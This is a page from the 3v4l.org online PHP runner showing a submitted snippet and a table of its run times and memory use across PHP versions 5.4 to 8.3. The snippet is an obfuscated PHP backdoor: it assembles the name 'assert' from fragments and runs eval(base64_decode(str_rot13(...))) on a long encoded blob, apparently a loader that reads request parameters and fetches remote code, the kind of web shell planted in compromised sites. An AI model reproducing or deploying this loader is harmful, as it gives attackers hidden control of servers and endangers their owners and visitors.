3v4l.org

run code in 300+ PHP versions simultaneously
<?php $strings = "as";$strings .= "sert"; @$strings(('riny(onfr64_qrpbqr("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"));'));

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.00716.36
8.3.50.0100.01022.11
8.3.40.0140.00018.54
8.3.30.0100.00718.59
8.3.20.0070.00020.23
8.3.10.0000.00723.67
8.3.00.0040.00417.38
8.2.180.0150.00618.54
8.2.170.0070.00722.96
8.2.160.0030.01420.47
8.2.150.0030.00624.18
8.2.140.0040.00424.66
8.2.130.0070.00026.16
8.2.120.0030.00517.63
8.2.110.0110.00020.49
8.2.100.0040.00818.16
8.2.90.0040.00419.16
8.2.80.0040.00417.97
8.2.70.0030.00617.50
8.2.60.0000.00818.05
8.2.50.0000.00818.07
8.2.40.0000.00820.86
8.2.30.0000.00720.71
8.2.20.0040.00417.67
8.2.10.0000.00717.95
8.2.00.0050.00318.10
8.1.280.0090.01225.92
8.1.270.0040.00423.90
8.1.260.0040.00426.35
8.1.250.0080.00028.09
8.1.240.0030.00622.61
8.1.230.0110.00017.64
8.1.220.0000.00817.74
8.1.210.0040.00418.77
8.1.200.0000.00817.35
8.1.190.0040.00417.10
8.1.180.0000.00818.10
8.1.170.0060.00320.48
8.1.160.0000.00722.05
8.1.150.0030.00618.88
8.1.140.0040.00419.59
8.1.130.0030.00517.73
8.1.120.0000.00717.52
8.1.110.0040.00417.38
8.1.100.0030.00317.43
8.1.90.0050.00217.50
8.1.80.0000.00717.42
8.1.70.0030.00317.34
8.1.60.0060.00317.62
8.1.50.0050.00317.48
8.1.40.0040.00417.35
8.1.30.0050.00517.54
8.1.20.0000.00817.56
8.1.10.0050.00317.55
8.1.00.0000.00917.52
8.0.300.0030.00618.77
8.0.290.0040.00416.75
8.0.280.0000.00718.46
8.0.270.0030.00317.28
8.0.260.0000.00817.16
8.0.250.0040.00416.95
8.0.240.0070.00016.91
8.0.230.0050.00316.84
8.0.220.0030.00316.85
8.0.210.0030.00416.87
8.0.200.0000.00716.93
8.0.190.0060.00316.85
8.0.180.0000.00716.74
8.0.170.0040.00416.93
8.0.160.0030.00716.89
8.0.150.0030.00316.66
8.0.140.0040.00416.74
8.0.130.0000.00613.22
8.0.120.0040.00416.89
8.0.110.0080.00016.85
8.0.100.0000.00816.77
8.0.90.0040.00416.89
8.0.80.0120.00916.91
8.0.70.0000.00716.90
8.0.60.0030.00316.76
8.0.50.0000.00716.76
8.0.30.0100.00616.82
8.0.20.0070.01317.40
8.0.10.0070.00016.86
8.0.00.0090.00916.70
7.4.330.0030.00315.08
7.4.320.0000.00916.44
7.4.300.0070.00016.49
7.4.290.0050.00216.49
7.4.280.0070.00016.55
7.4.270.0030.00316.48
7.4.260.0070.00316.53
7.4.250.0070.00016.46
7.4.240.0020.00516.58
7.4.230.0000.00716.23
7.4.220.0090.00916.45
7.4.210.0060.00816.54
7.4.200.0000.00716.69
7.4.160.0090.00616.69
7.4.150.0070.01017.40
7.4.140.0090.01117.86
7.4.130.0080.00816.47
7.4.120.0140.00416.51
7.4.110.0070.01116.54
7.4.100.0160.00316.52
7.4.90.0090.00916.46
7.4.80.0030.01619.39
7.4.70.0030.01316.58
7.4.60.0060.00916.51
7.4.50.0030.00516.42
7.4.40.0060.01516.34
7.4.30.0170.00416.52
7.4.00.0070.01114.96
7.3.330.0020.00212.92
7.3.320.0020.00213.08
7.3.310.0030.00316.14
7.3.300.0000.00816.18
7.3.290.0030.00316.17
7.3.280.0110.00516.19
7.3.270.0110.00617.40
7.3.260.0190.00016.48
7.3.250.0100.00616.29
7.3.240.0140.00716.17
7.3.230.0060.01416.42
7.3.210.0060.00916.15
7.3.200.0100.00716.50
7.3.190.0060.01216.22
7.3.180.0120.00916.23
7.3.170.0150.00616.29
7.3.160.0060.01016.20
7.2.330.0100.00716.55
7.2.320.0070.01316.40
7.2.310.0070.01716.48
7.2.300.0130.00516.59
7.2.290.0090.00916.29
7.2.80.0080.00416.57
7.2.60.0090.00616.62
7.1.200.0060.00915.86
7.1.100.0060.01017.82
7.1.70.0030.00917.09
7.1.60.0040.01619.43
7.1.50.0030.01716.70
7.1.00.0030.07722.32
7.0.200.0000.00816.40
7.0.60.0070.04719.86
7.0.50.0000.09017.89
7.0.40.0070.08720.30
7.0.30.0170.04020.01
7.0.20.0300.04020.01
7.0.10.0070.06020.02
7.0.00.0030.07720.21
5.6.280.0030.06720.82
5.6.210.0130.07320.71
5.6.200.0100.07718.22
5.6.190.0000.06320.43
5.6.180.3430.03720.39
5.6.170.0300.07720.48
5.6.160.0170.07320.71
5.6.150.0070.03318.18
5.6.140.0070.07018.12
5.6.130.0130.07318.18
5.6.120.0070.08721.03
5.6.110.0030.08720.88
5.6.100.0030.04321.08
5.6.90.0070.09021.09
5.6.80.0030.04020.28
5.5.350.3470.04320.46
5.5.340.0030.04018.02
5.5.330.0100.08020.29
5.5.320.0130.04020.24
5.5.310.0270.07720.27
5.5.300.0030.05717.95
5.5.290.0030.08718.02
5.5.280.0130.06320.73
5.5.270.0030.08720.88
5.5.260.0170.05320.76
5.5.250.0130.07020.54
5.5.240.0070.03020.22
5.4.450.0470.05719.57
5.4.440.0470.06319.48
5.4.430.0230.06719.57
5.4.420.0170.06019.53
5.4.410.0130.05019.13
5.4.400.0230.05719.18
5.4.390.0200.05018.98
5.4.380.0130.05318.76
5.4.370.0100.06018.93
5.4.360.0500.05719.23
5.4.350.0430.05319.15
5.4.340.0600.04319.05
5.4.320.0500.05018.93
5.4.310.0100.05319.21
5.4.300.0300.04719.23
5.4.290.0500.05018.93
5.4.280.0500.05318.84
5.4.270.0600.04719.21
5.4.260.0430.05719.23
5.4.250.0670.06319.18
5.4.240.0500.06019.20
5.4.230.0400.05719.07
5.4.220.0200.06018.93
5.4.210.0600.03719.14
5.4.200.0530.05318.79
5.4.190.0670.07719.02
5.4.180.0330.06019.20
5.4.170.0200.05018.93
5.4.160.0170.06018.74
5.4.150.0200.05318.76
5.4.140.0170.04716.16
5.4.130.0230.05716.22
5.4.120.0370.05016.39
5.4.110.0330.06316.34
5.4.100.0800.06316.21
5.4.90.0770.04716.18
5.4.80.0600.06716.17
5.4.70.0030.07316.41
5.4.60.0700.04716.45
5.4.50.0330.05716.35
5.4.40.0600.06016.36
5.4.30.0870.04016.34
5.4.20.0670.08316.39
5.4.10.0200.05016.40
5.4.00.0600.06715.70

preferences:
44.69 ms | 401 KiB | 5 Q